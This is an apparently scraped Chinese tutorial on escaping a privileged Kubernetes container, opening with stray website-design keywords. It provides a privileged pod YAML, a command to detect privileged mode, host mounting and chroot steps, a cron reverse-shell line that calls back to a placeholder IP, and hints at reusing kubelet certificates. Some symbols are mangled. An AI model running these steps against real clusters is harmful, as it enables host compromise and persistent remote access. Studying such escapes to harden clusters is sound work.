企业网站ui设计,saas建站,php网站开发介绍,页面设计比例01、概述 特权容器#xff08;Privileged Container#xff09;是一种比较特殊的容器#xff0c;在K8s中运行特权容器#xff0c;需要将 Privileged 设为 true #xff0c;容器可以执行几乎所有可以直接在主机上执行的操作。 基于此#xff0c;利用容器的特权配置可以获取… 01、概述 特权容器Privileged Container是一种比较特殊的容器在K8s中运行特权容器需要将 Privileged 设为 true 容器可以执行几乎所有可以直接在主机上执行的操作。 基于此利用容器的特权配置可以获取容器所在节点的权限甚至从节点权限提升至集群管理员权限。 02、攻击场景 编写yaml文件在securityContext中加入参数将privileged设置为true使用特权模式运行Pod。 yaml文件内容 apiVersion: v1
kind: Pod
metadata:name: pod1
spec:containers:- image: nginxname: pod1command: [/bin/sh,-c,sleep 24h] securityContext:privileged: true 02、攻击过程 (1) 判断是否特权模式 在容器中可以使用命令检测当前容器是否以特权容器启动CapEff对应的掩码值在centos中为 0000001fffffffff 在ubuntu中为0000003fffffffff。 基于以上可以简单的通过一行命令如果返回的是Yes说明当前是特权模式如果返回No则不是。 cat /proc/self/status |grep -qi 0000001fffffffff echo Yes || echo No 2查看当前磁盘分区情况获取宿主机分区 3将宿主机目录挂载到容器里chroot进入宿主机系统获取宿主机的权限。 4此时也可以使用计划任务反弹shell。 echo * * * * * bash -i /dev/tcp/xx.xx.xx.xx/12345 01 /var/spool/cron/root 5在Node节点上查找kubelet配置文件一般情况下开启了NodeRestriction准入插件kubelet证书可用来查看pod信息但是不能创建Pod。下载kubecrl命令行工具 收集信息为进一步攻击K8s集群提供必要的条件。